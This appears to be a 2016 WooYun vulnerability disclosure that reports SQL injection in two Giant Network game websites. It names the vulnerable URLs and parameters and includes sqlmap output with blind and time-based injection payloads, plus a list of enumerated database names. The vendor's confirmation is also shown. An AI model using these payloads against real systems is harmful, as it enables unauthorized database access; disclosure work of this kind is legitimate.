当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0211637

漏洞标题:游戏安全之巨人网络SQL注入集合

相关厂商:巨人网络

漏洞作者: Mel0d6y

提交时间:2016-05-23 15:48

修复时间:2016-07-08 11:30

公开时间:2016-07-08 11:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-23: 细节已通知厂商并且等待厂商处理中
2016-05-24: 厂商已经确认,细节仅向厂商公开
2016-06-03: 细节向核心白帽子及相关领域专家公开
2016-06-13: 细节向普通白帽子公开
2016-06-23: 细节向实习白帽子公开
2016-07-08: 细节向公众公开

简要描述:

《征途2》官方网站-巨人扛鼎大作 第一热血国战网游
——「我们的征途是星辰大海」

详细说明:

0x01

http://bbs.xt.ztgame.com/zb/fsb3.php?rt=11&sid=95


参数rt存在注入

[11:19:26] [INFO] resuming back-end DBMS 'mysql'
[11:19:27] [INFO] testing connection to the target URL
[11:19:27] [INFO] heuristics detected web page charset 'GB2312'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: rt (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: rt=11 AND 9725=9725&sid=95
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: rt=11 AND (SELECT * FROM (SELECT(SLEEP(5)))YelR)&sid=95
---
[11:19:27] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.5.25
back-end DBMS: MySQL 5.0.12
[11:19:27] [INFO] fetching database names
[11:19:27] [INFO] fetching number of databases
[11:19:27] [INFO] resumed: 6
[11:19:27] [INFO] resumed: information_schema
[11:19:27] [INFO] resumed: discuz
[11:19:27] [INFO] resumed: discuz2
[11:19:27] [INFO] resumed: test
[11:19:27] [INFO] resumed: webdb
[11:19:27] [INFO] resumed: wordpress
available databases [6]:
[*] discuz
[*] discuz2
[*] information_schema
[*] test
[*] webdb
[*] wordpress


漏洞证明:

0x02

http://act.z.ztgame.com/cdkey/do.php?code_1=CaterNoMatch&code_2=CaterNoMatch


参数code_1存在注入

[11:36:22] [WARNING] it appears that the character '>' is filtered by the back-end server. You are strongly advised to rerun with the '--tamper=between'
GET parameter 'code_1' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 2328 HTTP(s) requests:
---
Parameter: code_1 (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: code_1=CaterNoMatch' AND (SELECT * FROM (SELECT(SLEEP(5)))NlTb)-- wDrl&code_2=CaterNoMatch
---
[11:36:22] [INFO] the back-end DBMS is MySQL
[11:36:22] [WARNING] it is very important to not stress the network adapter during usage of time-based payloads to prevent potential disruptions
web application technology: Apache
back-end DBMS: MySQL 5.0.12
[11:36:22] [INFO] fetching database names
[11:36:22] [INFO] fetching number of databases

修复方案:

适当的过滤

版权声明:转载请注明来源 Mel0d6y@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2016-05-24 11:25

厂商回复:

感谢Mel0d6y

最新状态:

暂无


漏洞评价:

评价

  1. 2016-05-23 16:04 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    666666

  2. 2016-05-23 16:12 | txt0t ( 路人 | Rank:8 漏洞数:8 | txt0t)

    这个6

  3. 2016-05-24 11:25 | 巨人网络(乌云厂商)

    感谢Mel0d6y